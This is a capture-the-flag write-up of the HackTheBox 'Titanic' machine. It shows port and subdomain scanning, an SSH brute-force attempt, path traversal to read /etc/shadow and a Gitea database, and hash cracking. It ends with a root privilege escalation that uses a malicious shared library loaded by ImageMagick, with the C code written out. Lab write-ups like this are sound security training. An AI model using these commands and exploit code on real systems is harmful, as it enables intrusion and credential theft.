htb/titanic
Machine Info
Recon
Port Recon
The first step will be to perform a port discovery to identify open ports.
sudo nmap -sS -p- --open -Pn $(<ip.target) 
The scan results show that ports 22 and 80 are open. Additionally, the IP 10.10.11.55 resolves to titanic.htb. Next, we’ll run a more detailed scan on these services to identify versions and gather some extra intel.
Service Recon
nmap -sV --open -p22,80 $(<ip.target) 
Default Script Scan (-sC) Results
-sC) ResultsI ran a Default Script Scan (-sC) to gather detailed information about the open services. This scan automatically detects service versions, potential vulnerabilities, and other useful details for further analysis.
nmap -sCV --open -p22,80 $(<ip.target)
Vuln Scan Results
Next, I ran the --script=vuln scan to identify any known vulnerabilities in the open services. This script helps me pinpoint security weaknesses that could be exploited during further testing
nmap -sV --script=vuln --open -p22,80 $(<ip.target)
The scan revealed a huge number of exploits that could potentially be leveraged based on the detected versions 😱. There’s a high probability they are false positives, so it’s always good to validate. For now, we'll set this discovery aside and dive deeper into what we've uncovered so far.
Port 22
Brute Force
On port 22, I tried running a brute-force attack using Hydra (https://github.com/vanhauser-thc/thc-hydra), but it didn't go through.
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/password.lst ssh://$(<ip.target) 
As you can see, the attack hit a bunch of connection errors, and no valid passwords were found. We'll put this one aside for now and check out what else we've discovered.
Port 80
Adding the Target to /etc/hosts
As we observed in the Nmap scan, the target IP resolves to titanic.htb. However, in order to access it by this hostname, we need to add it to the /etc/hosts file on our machine.
echo "$(<ip.target) $(<host.target)" | sudo tee -a /etc/hosts > /dev/null
Opening the Target in the Web Browser
The site seems to be a simple page for booking a trip. As for the source code and loaded resources, nothing particularly interesting stands out.
The only relevant thing on the site is a form where you can book your trip.
As for the HTTP requests involved in this function, nothing stands out at first glance. However, forms are always something worth paying attention to, so we'll leave it aside for now and come back to it if we don’t find another way in.
Directory enumeration didn’t reveal anything of interest, so it's not worth including those findings here.
Finding DNS subdomains
We ran a subdomain enumeration scan with ffuf to explore potential hidden subdomains that could provide additional entry points or information about the target. Even though nothing interesting was found on port 80, subdomain enumeration is still a valuable step in mapping out the target for further testing.
sudo ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$(<ip.target) -H "Host: FUZZ.$(<host.target)" -mc 200
Nice 😎! We found a development subdomain (dev) that might have some interesting stuff. To visit it, we’ll need to add it to /etc/hosts, just like we did before.
echo "$(<ip.target) dev.$(<host.target )" | sudo tee -a /etc/hosts > /dev/null
Port 80 - dev subdomain
We accessed dev.titanic.htb, which is running a lightweight self-hosted Git service. The page reveals several key points:
Gitea v1.22.1: A simple and efficient platform for hosting Git repositories.
API: An API is available, which could be of interest.
Login & Registration Form: Standard authentication forms that could be valuable if we gain access
At this point, we’ve got a few things to explore here. The API might allow for deeper interaction, and if the login or registration form is vulnerable, it could be an interesting attack vector. We’ll dive deeper into these aspects as we go.
Gitea Version
Nothing of interest was found regarding the version of Gitea that was being used.
API
We explored the API, and it had Swagger UI exposed, allowing us to easily access the API documentation and understand the available endpoints. However, all functions were locked behind an authorization token, which seemed necessary for access. This indicates that we may need to find a way to obtain or bypass this token to fully interact with the API.
It's definitely worth looking into, as gaining access to these endpoints could reveal more about the system and possibly lead to new attack vectors.
Register & Sign In
The first step will be to see if we can create an account. We’ll also capture the involved requests in case we spot anything interesting along the way.
It seems that the Register form allows us to perform user enumeration. However, for now, our main goal is to access the platform and see what we can find.
Gitea Platform
Once the account is created, we’ve got two pretty interesting things to explore.
On one hand, we’ve got access to some repositories: docker-config and flask-app. These could be valuable, as they may contain configuration files, code, or even credentials that could be leveraged for further exploration or exploitation.
On the other hand, we’ve got the user list. It looks like there are several users, likely other players on the platform, but the last two, associated with the titanic.htb domain, stand out: developer and administrator. These could be key accounts.
Repositories
flask-app
At first glance, the flask-app repository doesn't seem to have anything interesting beyond the functionality of the ticketing application.
docker-config
However, the docker-config repository does seem to have some interesting findings, such as docker-compose.yml files for both Gitea and MySQL containers.
The Gitea container is configured to run on ports 3000 (for web access) and 2222 (for SSH access). The repository data is persisted in the directory /home/developer/gitea/data inside the container, which might give us access to important repository data or configurations.
The MySQL container is exposed on port 3306, and has a preconfigured database named tickets, along with a user and password. Additionally, the root password is also available, which could allow us to gain full administrative access to the MySQL container and the database.
Port 80 - prod
At this point, I realized that I wasn't heading in the right direction, as I had reached a dead end. However, I had gathered a significant amount of information and had left several potential entry points unexplored. With that in mind, I decided to revisit the two HTTP requests we had set aside when we initially visited titanic.htb. I then started running various tests on the payloads and the parameters involved in both requests
Path Traversal
And the answer was as simple as "path traversal".
Path traversal is a vulnerability that allows an attacker to access files and directories that are outside of the intended directory by manipulating the file path. It usually involves using sequences like ../ to navigate up the directory structure and potentially access sensitive files or resources that should not be publicly accessible.
In the image below, we can see how it's possible to access interesting files on the server, such as /etc/shadow. This information is extremely useful for enumerating users with whom we could potentially gain access to the server.
Now that we know we can read files from the server, we’ll focus on finding the user’s flag. It’s highly likely that it’s associated with the user "developer", which we’ve seen several times before. Therefore, the path would be /home/developer/user.txt.
Finally, with the path ../../../home/developer/user.txt, we were able to find the user flag.
USER FLAG
The user flag is obtained by exploiting a Path Traversal vulnerability.
7db9600b05b41f46901ba4**********
Exploit
The most obvious way to gain access to the server is by finding the password for the "developer" user. Since the brute force attack using Hydra was stopped due to errors, the solution must be something else. Remember the repositories we found? The docker-compose.yml file could give us some clues. If we look at the volumes section, we can see that the gitea folder is located within the developer user's directory (/home/developer/gitea/data).
Now, we turn to our trusted friend Google to search for any interesting files or information that could assist us in this case.
As the documentation shows, an interesting file to check is the app.ini, which is located at /etc/gitea/conf/app.ini. However, as we saw in the docker-compose.yml, the files will be in /home/developer/data. Therefore, we need to check the file at /home/developer/gitea/data/gitea/conf/app.ini.
Reading this file, one thing that stands out is the database. Let's see if we can access this .db file through the path home/developer/gitea/data/gitea/gitea.db .
We can access the .db file. In fact, if we take a look, we can see that we have the users and their encrypted passwords.
Since interacting with the file directly in BurpSuite is challenging, we’ll download it using curl. This allows us to open the gitea.db file with sqlite3 and interact with the database.
curl -X GET "http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/gitea.db" \
-H "Host: titanic.htb" \
--output gitea.db
We then use sqlite3 to interact with the database. We can explore all the tables with .tables. Since there are many, the evidence was adapted so that only the relevant information for this case is visible: the visualization of the 'user' table, using the command SELECT * FROM user.
Since I had never worked with Gitea before, I had to do some research to understand how it encrypts user passwords. During my research, I came across a blog by h4rithd that referenced an interesting Python script capable of extracting user hashes from the gitea.db file, ready to be passed to hashcat
wget https://gist.githubusercontent.com/h4rithd/0c5da36a0274904cafb84871cf14e271/raw/f109d178edbe756f15060244d735181278c9b57e/gitea2hashcat.py
python3 gitea2hashcat.py gitea.db > hashes.txtAs a result, we have a hashes.txt file with the hashes associated with all the users on the platform. As we saw earlier, the second hash corresponds to the 'developer' user, which is our target.
Since the other hashes aren't of interest to us (I think, hehe), we'll save the 'developer' user's hash in a file called developer_hash.txt, which we'll then pass to hashcat.
hashcat -m 10900 developer_hash.txt /usr/share/wordlists/rockyou.txt
As a result of the previous execution, we get the password associated with the 'developer' user 😎.
Privilege Escalation
Now comes the challenging part! Escalating privileges to gain access to the root flag.
Mysql Service
Since we had previously discovered the root password for the MySQL service, we gave it a shot, but it looks like the service isn’t running or enabled.
Now, we’ll have to resort to other techniques that can help us escalate our privileges.
Relevant files with setuid
We started by searching for files with the setuid bit set, as these files can potentially allow us to escalate privileges if executed. We used the following command to locate them:
find / -type f -perm -4000 2>/dev/null
This revealed several files with the setuid bit set, including system utilities like /usr/bin/sudo, /usr/bin/passwd, and /usr/bin/chsh. These files are often used by privileged users or administrators to perform tasks that require elevated privileges.
However, after further investigation and testing, we found that none of these files provided the means for privilege escalation in our case. For instance, we tried using su, pkexec, and sudo but encountered authentication failures, as the developer user was not authorized to execute commands as root.
Identifying Relevant Processes and Files
Next, we focused on examining the running processes and open files to identify any relevant ones that could potentially aid in privilege escalation. We used the ps and lsof commands to get a list of active processes and files being accessed, paying close attention to those that might be associated with potential vulnerabilities or misconfigurations.
As seen in the image, we have the application running at /opt/app/app.py.
However, before entering this folder, I preferred to take a look at what we have in /opt/. To do this, we used ls -al to view the permissions. Here, we found two interesting directories associated with the root user: containerd and scripts. While we cannot access the first one, we can explore the contents of the second.
We found a script named identify_images.sh inside /opt/scripts/, which appears to be executed automatically. This script performs the following actions:
Changes the working directory to
/opt/app/static/assets/images/.Empties the
metadata.logfile usingtruncate -s 0 metadata.log. This ensures the log file starts fresh each time the script runs.Finds all
.jpgfiles inside the/opt/app/static/assets/images/directory.Processes these images using ImageMagick's
identifytool and stores the metadata output inmetadata.log.
This means that any .jpg file in this directory will be automatically processed by identify when the script runs. Given this behavior, I decided to investigate whether ImageMagick had any known vulnerabilities. Through my research, I discovered that certain versions are susceptible to arbitrary code execution via the loading of shared libraries. This presents a possible attack vector for privilege escalation. 🚀
ImageMagick Arbitrary Code Execution Vulnerability
First, I came across a basic proof of concept (PoC) for arbitrary code execution using ImageMagick. The original code was as follows:
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("id");
exit(0);
}
EOFThis code simply executes id to check if arbitrary code execution works. Since it worked, I adapted the code for privilege escalation by modifying the command to extract the root flag:
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << exploit.cexploit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
system("cat /root/root.txt > /tmp/root.txt");
exit(0);
}This new code runs the command to extract the root flag and stores it in a temporary file (/tmp/root.txt), which allows for the privilege escalation.
We created the exploit.c file in the compromised directory.
Now, we create the shared library (libxcb.so.1) by compiling the file.
To trigger the execution of our malicious shared library, we copy the file entertainment.jpg to exploit.jpg. This step is necessary because the script that processes .jpg files with ImageMagick will automatically handle the new file, and our custom shared library will be loaded when it does. By renaming the file to exploit.jpg, we ensure it aligns with the expected input, causing the exploit to be executed and ultimately allowing us to escalate privileges.
cp entertainment.jpg exploit.jpgOnce we copy the image, creating the new image exploit.jpg, we will be able to have our flag in /tmp/root
Exploit Explanation
The trick lies in how ImageMagick handles shared libraries and how the malicious libxcb.so.1 library is loaded when processing the image.
ImageMagick Vulnerability: ImageMagick’s
identifycommand can automatically load shared libraries. The vulnerability occurs because ImageMagick loads these libraries without checking if they are malicious, allowing an attacker to exploit this.The
exploit.cFile (Compiled aslibxcb.so.1): Theexploit.cfile contains a C functioninit()marked with theconstructorattribute, causing it to execute automatically when the library is loaded. This function runscat /root/root.txt > /tmp/root.txt, copying the root flag to/tmp/root.txt.The
exploit.jpgFile: Theexploit.jpgfile is just a placeholder image. By copying it to/opt/app/static/assets/images, it’s added to the list of images to be processed by theidentifyscript. The image file itself doesn’t need to be special, but due to ImageMagick’s vulnerability, when processed, ImageMagick looks for shared libraries and loadslibxcb.so.1, which contains the malicious code.How
libxcb.so.1Is Loaded: When ImageMagick processesexploit.jpg, it attempts to load shared libraries likelibxcb.so.1. This triggers the execution of the malicious code ininit(), which copies the root flag to/tmp/root.txt.
ROOT FLAG
The root flag is retrieved by exploiting ImageMagick's vulnerability.
920434ce332f1ae77e0b82**********
Last updated